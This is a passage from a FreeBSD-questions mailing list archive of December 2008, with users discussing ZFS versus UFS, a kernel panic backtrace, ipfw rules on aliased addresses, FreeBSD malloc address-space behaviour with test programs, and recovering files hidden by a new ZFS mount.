Bud wrote: > On Mon, Dec 1, 2008 at 5:59 PM, Kirk Strauser wrote: > > It has a lot of really cool other features that I will probably never > > need. > then you don't need ZFS. usually you choose a technology because you need > it. if you don't need it then you don't use it. pure simple. Well, there are always external considerations: when my boss asks me about it, it'll be nice to have personal experience. I deploy a lot of stuff at home with an eye toward trying it at work down the road. - Kirk From dick at nagual.nl Mon Dec 1 11:42:35 2008 From: dick at nagual.nl (dick hoogendijk) Date: Mon Dec 1 11:42:42 2008 Subject: FreeBSD and hardware?? In-Reply-To: <20081201193722.A10843@wojtek.tensor.gdynia.pl> References: <20081118141648.M84450@wojtek.tensor.gdynia.pl> <1110372547-1227199990-cardhu_decombobulator_blackberry.rim.net-585491769-@bxe064.bisx.produk.on.blackberry> <20081121211828.GA9493@kokopelli.hydra> <20081201193722.A10843@wojtek.tensor.gdynia.pl> Message-ID: <20081201204227.f172e9e2.dick@nagual.nl> On Mon, 1 Dec 2008 19:39:39 +0100 (CET) Wojciech Puchar wrote: > there is no sense of buying Sun hardware. they make excellent > hardware but with more than "excellent" price You are right about that. The quality is very high; prices are too. > and their unix is damn slow compared to FreeBSD. These kinds of personal (subjective) remarks are FUD if you don't deliver the test results. -- Dick Hoogendijk -- PGP/GnuPG key: 01D2433D + http://nagual.nl/ | SunOS sxce snv103 ++ + All that's really worth doing is what we do for others (Lewis Carrol) From ivoras at freebsd.org Mon Dec 1 11:45:04 2008 From: ivoras at freebsd.org (Ivan Voras) Date: Mon Dec 1 11:45:11 2008 Subject: Disenchanted with ZFS; alternatives? In-Reply-To: <200812010959.15647.kirk@strauser.com> References: <200812010959.15647.kirk@strauser.com> Message-ID: Kirk Strauser wrote: > At this point, I'm almost ready to go back to good ol' UFS2, but I'd hate to > give up that easy addition of new filesystems. I *could* have a single 700GB > root FS but that just doesn't seem right. Are there any good, tested GEOM- > based ways of getting that functionality, perhaps along the lines of using > something like gvirstor and growfs as needed? There's nothing as convenient as ZFS (really... anywhere) :( . I'm still hoping someone will sponsor development or porting of a widely used journalling file system like XFS, JFS, even ext3/4 to FreeBSD, but in the meantime UFS2+SU isn't that bad. Practically the only way to break it is if you have hardware errors that end up corrupting file system data. The need to run full fsck occasionally (as opposed to the softupdates-assisted one) is annoying but 700 GB should be manageable with 3-4 GB of memory. The softupdates-assisted fsck actually works very well in all but the heaviest loads (i.e. when the server is swamped by requests immediately after booting). You could also try gjournal but benchmark and test it first for your workload. gvirstor is a theoretically good option if you need its specific functionality, only be doubly sure to benchmark it for your specific workload as it has some /unusual/ performance characteristics. -------------- next part -------------- A non-text attachment was scrubbed... Name: signature.asc Type: application/pgp-signature Size: 258 bytes Desc: OpenPGP digital signature Url : http://lists.freebsd.org/pipermail/freebsd-questions/attachments/20081201/cbba5e64/signature.pgp From kwoody at citytel.net Mon Dec 1 12:34:15 2008 From: kwoody at citytel.net (Keith) Date: Mon Dec 1 12:34:22 2008 Subject: Page Fault. In-Reply-To: <200812012031.25424.fbsd.questions@rachie.is-a-geek.net> References: <20081201101311.C81770@pop.citytel.net> <200812012031.25424.fbsd.questions@rachie.is-a-geek.net> Message-ID: <20081201122714.D81770@pop.citytel.net> On Mon, 1 Dec 2008, Mel wrote: |->On Monday 01 December 2008 19:32:59 Keith wrote: |->> |->> ====== |->> kernel trap 12 with interrupts disabled |->> |->> Fatal trap 12: page fault while in kernel mode |->> cpuid = 2; apic id = 02 |->> fault virtual address = 0x104 |->> fault code = supervisor read, page not present |->> instruction pointer = 0x20:0xc066ca51 |->> stack pointer = 0x28:0xe6ec0c90 |->> frame pointer = 0x28:0xe6ec0c9c |->> code segment = base 0x0, limit 0xfffff, type 0x1b |->> = DPL 0, pres 1, def32 1, gran 1 |->> processor eflags = resume, IOPL = 0 |->> current process = 9 (thread taskq) |->> trap number = 12 |->> panic: page fault |->> Uptime: 6d6h23m45s |->> #0 doadump () at pcpu.h:165 |->> 165 __asm __volatile("movl %%fs:0,%0" : "=r" (td)); |->> ============ |->> |->frame 0 useless. You need the frame after calltrap(). |->And: |-> |->> instruction pointer = 0x20:0xc066ca51 |->list *0xc066ca51 |-> |->Generally a bt will show the needed information. |->Likely cause: file system corruption, caused by background_fsck, but a |->backtrace should show more. Ok, so how does one fix corruption if that is the case? Here is a backtrace, but means nothing to me unfortunately. (kgdb) backtrace #0 doadump () at pcpu.h:165 #1 0xc067582a in boot (howto=260) at ../../../kern/kern_shutdown.c:409 #2 0xc0675b51 in panic (fmt=0xc08f090b "%s") at ../../../kern/kern_shutdown.c:565 #3 0xc0899f1c in trap_fatal (frame=0xe6ec0c50, eva=260) at ../../../i386/i386/trap.c:837 #4 0xc089968e in trap (frame={tf_fs = 8, tf_es = -920256472, tf_ds = -420741080, tf_edi = -936184704, tf_esi = 4, tf_ebp = -420737892, tf_isp = -420737924, tf_ebx = -920236452, tf_edx = 6, tf_ecx = -936306488, tf_eax = 1, tf_trapno = 12, tf_err = 0, tf_eip = -1067005359, tf_cs = 32, tf_eflags = 65538, tf_esp = -930065784, tf_ss = 4}) at ../../../i386/i386/trap.c:270 #5 0xc08859ca in calltrap () at ../../../i386/i386/exception.s:139 #6 0xc066ca51 in _mtx_lock_sleep (m=0xc9264e5c, tid=3358782592, opts=0, file=0x0, line=0) at ../../../kern/kern_mutex.c:546 #7 0xc06bbdb6 in unp_gc (arg=0x0, pending=1) at ../../../kern/uipc_usrreq.c:1714 #8 0xc06964d3 in taskqueue_run (queue=0xc843fa80) at ../../../kern/subr_taskqueue.c:257 #9 0xc06969b6 in taskqueue_thread_loop (arg=0x1) at ../../../kern/subr_taskqueue.c:376 #10 0xc065ef6d in fork_exit (callout=0xc0696924 , arg=0xc09f1d28, frame=0xe6ec0d38) at ../../../kern/kern_fork.c:821 #11 0xc0885a2c in fork_trampoline () at ../../../i386/i386/exception.s:208 From oim37 at mail.ru Mon Dec 1 12:43:21 2008 From: oim37 at mail.ru (oim) Date: Mon Dec 1 12:43:28 2008 Subject: how to choose default ip on ethernet interface Message-ID: Hello! OS: FreeBSD 6.3 R ifconfig bge0: flags=8843 mtu 1500 options=1b inet 192.168.0.70 netmask 0xfffffe00 broadcast 192.168.0.255 inet 10.10.10.37 netmask 0xfffffffc broadcast 10.10.10.39 inet 10.10.10.38 netmask 0xfffffffc broadcast 10.10.10.39 ether 00:21:5a:d4:fd:ba media: Ethernet autoselect (100baseTX ) status: active lo0: flags=8049 mtu 16384 inet6 fe80::1%lo0 prefixlen 64 scopeid 0x3 inet6 ::1 prefixlen 128 inet 127.0.0.1 netmask 0xff000000 defaultrouter="192.168.0.1" All ip work, but by default outgoing system use 192.168.0.70 How can i make by default this ip 10.10.10.37 ? Please... Thanks, With best regards Evgeny Parkhomenko oim37@mail.ru From wojtek at wojtek.tensor.gdynia.pl Mon Dec 1 13:11:09 2008 From: wojtek at wojtek.tensor.gdynia.pl (Wojciech Puchar) Date: Mon Dec 1 13:11:15 2008 Subject: how to choose default ip on ethernet interface In-Reply-To: References: Message-ID: <20081201220946.D11643@wojtek.tensor.gdynia.pl> > inet 127.0.0.1 netmask 0xff000000 > defaultrouter="192.168.0.1" > > All ip work, but by default outgoing system use 192.168.0.70 outgoing IP is chosen so it's on the same network as default router, if many are - first from list. From wojtek at wojtek.tensor.gdynia.pl Mon Dec 1 13:26:15 2008 From: wojtek at wojtek.tensor.gdynia.pl (Wojciech Puchar) Date: Mon Dec 1 13:26:27 2008 Subject: Disenchanted with ZFS; alternatives? In-Reply-To: <200812011321.43430.kirk@strauser.com> References: <200812010959.15647.kirk@strauser.com> <20081201184722.S10680@wojtek.tensor.gdynia.pl> <200812011321.43430.kirk@strauser.com> Message-ID: <20081201222221.L11692@wojtek.tensor.gdynia.pl> > >> UFS is excellent. your problem is that you like to have "lots of >> filesystems". why don't just make one or one per disk? > > For all the usual reasons: faster fsck, ability to set attributes on each > filesystem (noexec, noatime, ro), a runaway process writing to /tmp won't cause > problems in /var, etc. i don't have such problems, ordinary users have quotas... (one as there's one filesystem). > A big local reason is that Amanda is much easier to configure when you're using > a bunch of filesystems because it runs tar with --one-file-system set. If /var > is separate from / and I want to back them up separately, I just tell Amanda > to dump / and /var. If /var is part of / then I have to say "dump / except > for /var (and /tmp and /usr and ...)". what i problem to do this? >> tell me what's your needs and how many/what disks you have. > > Right now I have a 750GB (with another on order) and a 320GB. The box is a > multi-purpose home server with mail, several websites, and a bunch of local > file streaming (from MP3 and ripped DVDs to Apple's Time Machine storage). so make system and userdata except huge files on 320GB, and make gstripe of 750GB disks to store huge files. two filesystems. > >> UFS is best-performer on real load, runs on almost no RAM, but uses more >> if available for caching. > > That's my main beef with ZFS at the moment. I don't mind if it uses a lot of > RAM - that's what I bought it for! - but that it doesn't seem to use it > effectively (at least on my workload). it simply wastes RAM and CPU power. same thing takes 10-20 times more CPU that with UFS, where CPU load is close to unnoticable. even if it has some features you may consider nice, it's not worth using bloatware. Bloatware should be ALWAYS avoided no matter how fast your hardware is and how much RAM do you have. From yuri at rawbw.com Mon Dec 1 13:28:50 2008 From: yuri at rawbw.com (Yuri) Date: Mon Dec 1 13:28:57 2008 Subject: Why process memory starts so high up in virtual space with FreeBSD malloc? Message-ID: <49345710.9070403@rawbw.com> I am compiling the following program: #include main() { printf("0x%x\n", malloc(1)); } in 32-bit 7.1-PRERELEASE and get 0x28201100 which is ~673MB of 4GB address space or 16%. When I run the same program with the google malloc (from devel/google-perftools) I get much lower value 0x80aa0e8 which is ~135MB of 4GB address space or ~3%. Why FreeBSD memory allocator wastes such a high percentage of the memory space? Yuri From dick at nagual.nl Mon Dec 1 13:49:58 2008 From: dick at nagual.nl (dick hoogendijk) Date: Mon Dec 1 13:50:04 2008 Subject: Disenchanted with ZFS; alternatives? In-Reply-To: <20081201222221.L11692@wojtek.tensor.gdynia.pl> References: <200812010959.15647.kirk@strauser.com> <20081201184722.S10680@wojtek.tensor.gdynia.pl> <200812011321.43430.kirk@strauser.com> <20081201222221.L11692@wojtek.tensor.gdynia.pl> Message-ID: <20081201224951.da6b6c53.dick@nagual.nl> On Mon, 1 Dec 2008 22:26:04 +0100 (CET) Wojciech Puchar wrote: > it simply wastes RAM and CPU power. same thing takes 10-20 times more > CPU that with UFS ZFS does things that UFS is not capable of. These (bloathware) things cost memory indeed. But that memory is certainly not wasted. I also know you cannot be convinced, because you lowe ZFS. > even if it has some features you may consider nice, it's not worth > using bloatware. > > Bloatware should be ALWAYS avoided no matter how fast your hardware > is and how much RAM do you have. True, except ZFS is a big winner and no bloatware. And although you are pretty stubborn in this matter, I still say this ;-) ZFS is here to stay. Given the fact it's not quite mature (yet); it is still under heavy development, but it is also stable enough for rock solid Solaris 10 servers with ZFS. (and NO, this is not all on Sun hardware). I for one will never go back to filesystems like UFS/UFS2. My data is quite safe on ZFS; my systems are fast; backups are a snap with snapshots; the list of PROs is long, very long (and all this for a still young filesystem...) -- Dick Hoogendijk -- PGP/GnuPG key: 01D2433D + http://nagual.nl/ | SunOS sxce snv103 ++ + All that's really worth doing is what we do for others (Lewis Carrol) From 240olofsson at telia.com Mon Dec 1 14:09:27 2008 From: 240olofsson at telia.com (Roger Olofsson) Date: Mon Dec 1 14:09:34 2008 Subject: please confirm - possible bug in isc-dhcpd? Message-ID: <4934608D.3000503@telia.com> Dear mailing list, 7.1-PRERELEASE isc-dhcp30-server-3.0.7_3 When configuring failover and using FQDN instead of ip address, isc-dhcpd says failover peer can't find address. It does however start and will not, of course, work properly. The behaviour is that the very first client might get address but none after that one - causing alot of confusion. The workaround - use ip addresses in dhcpd.conf when configuring failover peer. Can anyone confirm this behaviour? Is it a bug? The man page shows an example where FQDNs are being used.... If it is a bug, where do I report it? Greetings /Roger From brett at net24.co.nz Mon Dec 1 14:14:14 2008 From: brett at net24.co.nz (Brett Davidson) Date: Mon Dec 1 14:14:22 2008 Subject: Is there anything weird I should know about using ipfw on alias addresses? In-Reply-To: <20081201233222.L34249@sola.nimnet.asn.au> References: <20081201120023.9E1821065688@hub.freebsd.org> <20081201233222.L34249@sola.nimnet.asn.au> Message-ID: <493461B5.1040704@net24.co.nz> Ian Smith wrote: > On Mon, 01 Dec 2008 16:52:12 +1300 Brett Davidson wrote: > > > ifconfig shows the alias addresses correctly bound. > > Creating an ipfw rule and testing it from the command line works > > (connects out from master address, not alias) > > > > From website on alias address, the firewall blocks the packets. > > > > The weird thing is that it tags them (in the security log) as coming > > from the master address (not the alias) out the correct interface. In a > > normal world that would mean the packet would match!!!!! > > > > What's goin' on here Willis? > > Difficult to tell without seeing a) ifconfig b) netstat -rn c) at least > the relevant firewall rule/s and d) log entries that illustrate your > problem. Obscure sensitive information by all means, but otherwise > pretend we haven't the slightest clue how your system is configured :) > > cheers, Ian > > > Fair enough. ifconfig below: bce1: flags=8843 mtu 1500 options=3b inet 210.5.50.5 netmask 0xffffffe0 broadcast 210.5.50.31 inet 210.5.51.32 netmask 0xffffffff broadcast 210.5.51.32 inet 210.5.51.27 netmask 0xffffffff broadcast 210.5.51.27 inet 210.5.51.33 netmask 0xffffffff broadcast 210.5.51.33 inet 210.5.51.34 netmask 0xffffffff broadcast 210.5.51.34 inet 210.5.51.42 netmask 0xffffffff broadcast 210.5.51.42 inet 210.5.51.4 netmask 0xffffffff broadcast 210.5.51.4 ether 00:1c:c4:c0:56:94 media: Ethernet autoselect (1000baseSX ) status: active Relevant /etc/rc.conf entries : ifconfig_bce1="inet 210.5.50.5 netmask 255.255.255.224" ifconfig_bce1_alias0="inet 210.5.50.5 netmask 255.255.255.224" ifconfig_bce1_alias1="inet 210.5.51.4 netmask 255.255.255.255" ifconfig_bce1_alias2="inet 210.5.51.27 netmask 255.255.255.255" ifconfig_bce1_alias3="inet 210.5.51.32 netmask 255.255.255.255" ifconfig_bce1_alias4="inet 210.5.51.33 netmask 255.255.255.255" ifconfig_bce1_alias5="inet 210.5.51.34 netmask 255.255.255.255" ifconfig_bce1_alias6="inet 210.5.51.42 netmask 255.255.255.255" Relevant ipfw rules : ipfw -q add 02012 allow tcp from any to 208.69.123.164 80 out via bce1 setup keep-state ipfw -q add 02012 allow tcp from any to 208.69.123.164 443 out via bce1 setup keep-state Interesting entries in /var/log/security : Dec 1 16:42:25 kernel: ipfw: 9999 Deny TCP 210.5.50.5:49708 208.69.123.164:80 out via bce1 What makes this interesting is that I can connect to that port via the command line. It's the website that lives on 210.5.51.42 that is having problems. Why, if the rule is valid enough for the command line is it having problems from an aliased address? This MUST have something to do with the way ipfw is working with aliased addresses but I'm blowed if I know what is wrong. Cheers Brett. From keramida at ceid.upatras.gr Mon Dec 1 14:43:40 2008 From: keramida at ceid.upatras.gr (Giorgos Keramidas) Date: Mon Dec 1 14:43:48 2008 Subject: Why process memory starts so high up in virtual space with FreeBSD malloc? In-Reply-To: <49345710.9070403@rawbw.com> (yuri@rawbw.com's message of "Mon, 01 Dec 2008 13:28:48 -0800") References: <49345710.9070403@rawbw.com> Message-ID: <874p1njz3l.fsf@kobe.laptop> On Mon, 01 Dec 2008 13:28:48 -0800, Yuri wrote: > I am compiling the following program: > > #include > main() { printf("0x%x\n", malloc(1)); } You should probably use printf("%p", ptr) to print pointers :) > in 32-bit 7.1-PRERELEASE and get 0x28201100 which is ~673MB of 4GB > address space or 16%. > > When I run the same program with the google malloc (from > devel/google-perftools) > I get much lower value 0x80aa0e8 which is ~135MB of 4GB address space or > ~3%. > > Why FreeBSD memory allocator wastes such a high percentage of the > memory space? The FreeBSD malloc(3) implementation can use either mmap() or sbrk() to obtain memory from the system. It does not 'waste a high percentage of memory' but it simply maps only high addresses (with an unmapped 'hole' in lower addresses). You can tune FreeBSD malloc(3) to prefer either sbrk() or mmap() by setting the 'D' and 'M' malloc options. The following program prints different initial allocation results when these two malloc() options are configured differently: % cat -n foo.c 1 #include 2 #include 3 4 int 5 main(void) 6 { 7 char *p; 8 9 p = malloc(1); 10 if (p == NULL) 11 return EXIT_FAILURE; 12 13 printf("%p\n", malloc(1)); 14 free(p); 15 return EXIT_SUCCESS; 16 } % For example: % env MALLOC_OPTIONS='Dm' ./foo 0x8101102 % env MALLOC_OPTIONS='dM' ./foo 0x28201102 % More details about the 'D', 'M' and other malloc() options should be available in the manpage for your release. - Giorgos From cwhiteh at onetel.com Mon Dec 1 14:57:24 2008 From: cwhiteh at onetel.com (Chris Whitehouse) Date: Mon Dec 1 14:58:46 2008 Subject: Date/time installed ports have been updated on a system? In-Reply-To: <18740.7708.896663.777313@jerusalem.litteratus.org> References: <20081201151249.GA5103@aurora.oekb.co.at> <20081201171748.1c9b5718@gumby.homeunix.com> <18740.7708.896663.777313@jerusalem.litteratus.org> Message-ID: <49346BD1.3070704@onetel.com> Robert Huff wrote: > RW writes: > >> > Is there any way to determine when upgrades to installed ports have >> > been done on a system? I did a "portupgrade -arR" recently and want to >> > know which ports have been upgraded in that process (and no I didn't >> > run that portupgrade under "script"...) >> >> pkg_glob(1) can show package installed before or after either a time >> or a particular port. > > One can also send the output to a file, and grep your chosen > ports or use "tail -f". > I do not recommend doing this with "portupgrade -a" unless you > know the list will be fairly short. (Imagine rebuilding OpenOffice, > KDE, Java, FireFox, ....) > For future upgrades, portmanager (ports-mgmt/portmanager) will log if you tell it to, alternatively you can make it tell you what ports need updating and why, without actually upgrading anything. chris From yuri at rawbw.com Mon Dec 1 14:57:29 2008 From: yuri at rawbw.com (Yuri) Date: Mon Dec 1 14:58:47 2008 Subject: Why process memory starts so high up in virtual space with FreeBSD malloc? In-Reply-To: <874p1njz3l.fsf@kobe.laptop> References: <49345710.9070403@rawbw.com> <874p1njz3l.fsf@kobe.laptop> Message-ID: <49346BD3.5080506@rawbw.com> Giorgos Keramidas wrote: > The FreeBSD malloc(3) implementation can use either mmap() or sbrk() to > obtain memory from the system. It does not 'waste a high percentage of > memory' but it simply maps only high addresses (with an unmapped 'hole' > in lower addresses). > But the hole it leaves with MALLOC_OPTIONS='dM' is way larger than the one left by 'Dm' option. Usually malloc will keep allocating addresses higher than this initial value and will never come back and fill some parts of this gap. Therefore "wasting" this space. Yuri From kline at thought.org Mon Dec 1 15:14:47 2008 From: kline at thought.org (Gary Kline) Date: Mon Dec 1 15:14:54 2008 Subject: any way to turn a pdf file into something OCR-able? Message-ID: <20081201231440.GA30682@thought.org> Guys, pdftotext fail on the large [32MB] file I've got. Is there any other way I can translate this huge textfile to ascii or html or text? thanks, gary -- Gary Kline kline@thought.org http://www.thought.org Public Service Unix http://jottings.thought.org http://transfinite.thought.org From dnelson at allantgroup.com Mon Dec 1 15:38:03 2008 From: dnelson at allantgroup.com (Dan Nelson) Date: Mon Dec 1 15:38:09 2008 Subject: Why process memory starts so high up in virtual space with FreeBSD malloc? In-Reply-To: <49346BD3.5080506@rawbw.com> References: <49345710.9070403@rawbw.com> <874p1njz3l.fsf@kobe.laptop> <49346BD3.5080506@rawbw.com> Message-ID: <20081201233758.GD53570@dan.emsphone.com> In the last episode (Dec 01), Yuri said: > Giorgos Keramidas wrote: > > The FreeBSD malloc(3) implementation can use either mmap() or > > sbrk() to obtain memory from the system. It does not 'waste a high > > percentage of memory' but it simply maps only high addresses (with > > an unmapped 'hole' in lower addresses). > > But the hole it leaves with MALLOC_OPTIONS='dM' is way larger than > the one left by 'Dm' option. Usually malloc will keep allocating > addresses higher than this initial value and will never come back and > fill some parts of this gap. Therefore "wasting" this space. Have you actually verified that space is wasted? Note that the default for malloc is "DM", which lets malloc use both break- and mmap-based memory. Depending on the libc version, one or the other will be preferred, but both will be used if necessary. Also, unless you have tuned your kernel, you may only be able to allocate 512MB of memory via break() (the kern.maxdsize tunable lets you adjust this). Here's what I get with a simple test program on a month-old 7.1-PRE (before the preference got switched to mmap): $ MALLOC_OPTIONS=Dm ./malloctest Malloced 535822336 bytes. First: 0x8080000, Last: 0x27e80000 $ MALLOC_OPTIONS=dM ./malloctest Malloced 2542796800 bytes. First: 0x28200000, Last: 0xbfa00000 $ MALLOC_OPTIONS=DM ./malloctest Malloced 3078619136 bytes. First: 0x8080000, Last: 0xbfa00000 $ ./malloctest Malloced 3078619136 bytes. First: 0x8080000, Last: 0xbfa00000 So using only break(), I can allocate 511 MB. Using only mmap(), I can allocate 2.36 GB. Using both (the default) I can allocate 2.86 GB. -- Dan Nelson dnelson@allantgroup.com From dnelson at allantgroup.com Mon Dec 1 15:43:16 2008 From: dnelson at allantgroup.com (Dan Nelson) Date: Mon Dec 1 15:43:23 2008 Subject: Why process memory starts so high up in virtual space with FreeBSD malloc? In-Reply-To: <20081201233758.GD53570@dan.emsphone.com> References: <49345710.9070403@rawbw.com> <874p1njz3l.fsf@kobe.laptop> <49346BD3.5080506@rawbw.com> <20081201233758.GD53570@dan.emsphone.com> Message-ID: <20081201234311.GE53570@dan.emsphone.com> In the last episode (Dec 01), Dan Nelson said: > Here's what I get with a simple test program on a month-old 7.1-PRE Gah. silly mailing-list attachment stripper. #include #include int main(void) { size_t malloced = 0; size_t chunksize = 1024*1024; void *first = NULL; void *last = NULL; void *ptr; while ((ptr = malloc(chunksize)) != NULL) { if (first == NULL) first = ptr; last = ptr; malloced += chunksize; } printf("Malloced %zu bytes. First: %p, Last: %p\n", malloced, first, last); exit(0); } -- Dan Nelson dnelson@allantgroup.com From dabas at untu.ms Mon Dec 1 17:02:36 2008 From: dabas at untu.ms (Reinis Ivanovs) Date: Mon Dec 1 17:02:43 2008 Subject: Reversing a ZFS mistake Message-ID: <5b826e210812011636l71dc6d05n25a14acdd24b396d@mail.gmail.com> Hello, It seems I've made a mistake using ZFS, and now my /usr/local/ is empty. I wanted to create a snapshot of a directory inside of it, so I ran "zfs create tank/usr/local" and "zfs create tank/usr/local/www" as I had seen in the guides I'd been using. That worked, but the filesystems created were empty. As I found out later, doing what I did on Solaris would have created the filesystems but not mounted them, but on FreeBSD they were mounted automatically, and the previous contents hidden. The question now is, how do I get my files back? The system is crippled without /usr/local/ and I can't unmount or destroy it, because it says that the device is busy. Any help would be appreciated. R. -- http://untu.ms/ From rsmith at xs4all.nl Mon Dec 1 17:07:33 2008 From: rsmith at xs4all.nl (Roland Smith) Date: Mon Dec 1 17:07:41 2008 Subject: any way to turn a pdf file into something OCR-able? In-Reply-To: <20081201231440.GA30682@thought.org> References: <20081201231440.GA30682@thought.org> Message-ID: <20081202010730.GA15970@slackbox.xs4all.nl> On Mon, Dec 01, 2008 at 03:14:43PM -0800, Gary Kline wrote: > pdftotext fail on the large [32MB] file I've got. Is there any > other way I can translate this huge textfile to ascii or html or > text? Please define "fail" in this context? I've used pdftotxt on documents exceeding 40MB. However there are of course things that don't work; 1) Some PDFs are just wrappers around JPEG images. In this case there is no text for pdftotext to convert => epic fail. 2) If the text contains ligatures etc. you should use the proper encoding that contains such characters (e.g. '-enc UTF-8') or you will loose them. 3) Things like equations will not render well, if at all. This also depends on the encoding. Roland -- R.F.Smith http://www.xs4all.nl/~rsmith/ [plain text _non-HTML_ PGP/GnuPG encrypted/signed email much appreciated] pgp: 1A2B 477F 9970 BA3C 2914 B7CE 1277 EFB0 C321 A725 (KeyID: C321A725) -------------- next part -------------- A non-text attachment was scrubbed... Name: not available Type: application/pgp-signature Size: 195 bytes Desc: not available Url : http://lists.freebsd.org/pipermail/freebsd-questions/attachments/20081202/39d11e5c/attachment.pgp From roberthuff at rcn.com Mon Dec 1 17:23:15 2008 From: roberthuff at rcn.com (Robert Huff) Date: Mon Dec 1 17:23:22 2008 Subject: any way to turn a pdf file into something OCR-able? In-Reply-To: <20081202010730.GA15970@slackbox.xs4all.nl> References: <20081201231440.GA30682@thought.org> <20081202010730.GA15970@slackbox.xs4all.nl> Message-ID: <18740.36349.523718.591189@jerusalem.litteratus.org> Roland Smith writes: > > pdftotext fail on the large [32MB] file I've got. Is there any > > other way I can translate this huge textfile to ascii or html or > > text? > > Please define "fail" in this context? I've used pdftotxt on > documents exceeding 40MB. However there are of course things that > don't work; > > 1) Some PDFs are just wrappers around JPEG images. In this case > there is no text for pdftotext to convert => epic fail. In this case "convert" from the ImageMagick port will get you a series of .jpg/.gif/.. Read the manual carefully before attempting; also note this can be a slow process. Robert Huff From dnelson at allantgroup.com Mon Dec 1 17:48:52 2008 From: dnelson at allantgroup.com (Dan Nelson) Date: Mon Dec 1 17:49:01 2008 Subject: Reversing a ZFS mistake In-Reply-To: <5b826e210812011636l71dc6d05n25a14acdd24b396d@mail.gmail.com> References: <5b826e210812011636l71dc6d05n25a14acdd24b396d@mail.gmail.com> Message-ID: <20081202014849.GA22076@dan.emsphone.com> In the last episode (Dec 02), Reinis Ivanovs said: > It seems I've made a mistake using ZFS, and now my /usr/local/ is > empty. I wanted to create a snapshot of a directory inside of it, so > I ran "zfs create tank/usr/local" and "zfs create tank/usr/local/www" > as I had seen in the guides I'd been using. That worked, but the > filesystems created were empty. As I found out later, doing what I > did on Solaris would have created the filesystems but not mounted > them, but on FreeBSD they were mounted automatically, and the > previous contents hidden. The question now is, how do I get my files > back? The system is crippled without /usr/local/ and I can't unmount > or destroy it, because it says that the device is busy. Any help > would be appreciated. Solaris should have automatically mounted them too, unless you had "zfs set" canmount=noauto or mountpoint=legacy on an upper filesystem. If you intend to copy/move the existing contents into these new filesystems, you can just umount them and manually mount them somewhere else ( mount -t zfs tank/usr/local /tmp/local ) while you do the copy, then remount them in their final locations. umount -f should let you force-dismount them even if processes have open filehandles on them. If it doesn't, run "fstat -f /usr/local" and kill any processes that show up, then try umounting again. -- Dan Nelson dnelson@allantgroup.com From rock_on_the_web at comcen.com.au Mon Dec 1 18:09:01 2008 From: rock_on_the_web at comcen.com.au (Da Rock) Date: Mon Dec 1 18:09:09 2008 Subject: Which FreeBSD is best for my PC? In-Reply-To: <20081201142212.5cddd312@gumby.homeunix.com> References: <002701c9538a$10ff0330$005bfb48@harryveltman> <20081201142212.5cddd312@gumby.homeunix.com> Message-ID: <1228171462.4523.0.camel@laptop1.herveybayaustralia.com.au> On Mon, 2008-12-01 at 14:22 +0000, RW wrote: > On Sun, 30 Nov 2008 23:54:38 -0800 > "Harry Veltman" wrote: > > > Which version and GUI will work best on the internet with my AT > > Pentium II 350MHz x86-based PC? Some web sites require Flash Player > > 8 or higher, > > If flash is important to you then I'd suggest you run windows firefox > under wine. Native Adobe Flash support is apparently working again in > 7.1, but it's only just been restored as being broken for years. And by > all accounts the linux flash-plugin isn't perfect even in Linux. > > > and some require 128-bit encryption I think, but doesn't > > 40-bit encryption process data 3 times faster? How many bit > > encryption is the various versions of FreeBSD? Thanks. > > All the supported versions of FreeBSD should have a wide range of > ciphers available on browsers. IMO it's not really worth using > ciphers below 128 bits. 128 bit is probably safe from the NSA, 40 > bits could easily be broken on a pc. Are you sure about the NSA part? :P From rock_on_the_web at comcen.com.au Mon Dec 1 18:24:02 2008 From: rock_on_the_web at comcen.com.au (Da Rock) Date: Mon Dec 1 18:24:08 2008 Subject: Which FreeBSD is best for my PC? In-Reply-To: <20081201154132.Q10288@wojtek.tensor.gdynia.pl> References: <002701c9538a$10ff0330$005bfb48@harryveltman> <20081201142212.5cddd312@gumby.homeunix.com> <20081201154132.Q10288@wojtek.tensor.gdynia.pl> Message-ID: <1228171511.4523.2.camel@laptop1.herveybayaustralia.com.au> On Mon, 2008-12-01 at 15:42 +0100, Wojciech Puchar wrote: > > If flash is important to you then I'd suggest you run windows firefox > > under wine. Native Adobe Flash support is apparently working again in > > isn't better to run windows ? That'd be debatable, wouldn't it? From mikes at suso.org Mon Dec 1 18:25:14 2008 From: mikes at suso.org (mikes@suso.org) Date: Mon Dec 1 18:25:20 2008 Subject: AGP video card for dual-head operation Message-ID: <4018.98.220.3.224.1228183517.squirrel@webmail.suso.org> I used a Matrox G450 dual-head card with earlier versions of FreeBSD/Xfree but have finally had to upgrade the hardware. Getting the G450 to display both monitors using zinerama took a bit of time, but once set it worked well. I purchased an ATI Radeon 9600 All-in-wonder primarily for doing some video capture under MS Windows XP, but the system dual-boots FreeBSD 7.1-PRERELEASE, kernel and ports current as of 11/28/2008. X server is 7.3 patch 2; the ati driver is 6.9.0 (I can't access the system right now, so that may be wrong). I've been unable to get the ATI card to display anything on the secondary monitor (display is turned off when X11 starts up); "xrandr" shows "VGA-1" as connected and "VGA-0" as disconnected, and nothing I've been able to do with xorg.conf has changed that ("xrandr --auto" does nothing other than blank the primary screen). I have seen some references to a bug in the ati/radeon driver which is "fixed in the next version". I can't use the G450 either; there appears to be a bug in the mga driver (which is not installed by default but the vesa driver crashes with the G450) which stops xrandr form working (or at least that's what I found in a Google search). There's a lot of confusing information out there since, as I understand it, xorg 6.x and xorg 7.x do xinerama differently. Is there anyone who has gotten an ATI 9600 AIW to work in dual-head mode, and if so, how did you do it? Is there a better AGP card which supports a similar video capture function under MS Windows XP? Mike Squires UN*X at home since 1985, but almost all on VT100 displays From on at cs.ait.ac.th Mon Dec 1 18:42:50 2008 From: on at cs.ait.ac.th (Olivier Nicole) Date: Mon Dec 1 18:42:57 2008 Subject: any way to turn a pdf file into something OCR-able? In-Reply-To: <18740.36349.523718.591189@jerusalem.litteratus.org> (message from Robert Huff on Mon, 1 Dec 2008 20:23:09 -0500) References: <20081201231440.GA30682@thought.org> <20081202010730.GA15970@slackbox.xs4all.nl> <18740.36349.523718.591189@jerusalem.litteratus.org> Message-ID: <200812020242.mB22gjHS074260@banyan.cs.ait.ac.th> > > 1) Some PDFs are just wrappers around JPEG images. In this case > > there is no text for pdftotext to convert => epic fail. > > In this case "convert" from the ImageMagick port will get you a > series of .jpg/.gif/.. Read the manual carefully before > attempting; also note this can be a slow process. pdfimages (from ports graphics/xpdf) can also do that, maybe at a lesser cost. Bests, Olivier From tajudd at gmail.com Mon Dec 1 20:19:24 2008 From: tajudd at gmail.com (Tim Judd) Date: Mon Dec 1 20:19:30 2008 Subject: Samba, WinVista and Roaming Profiles 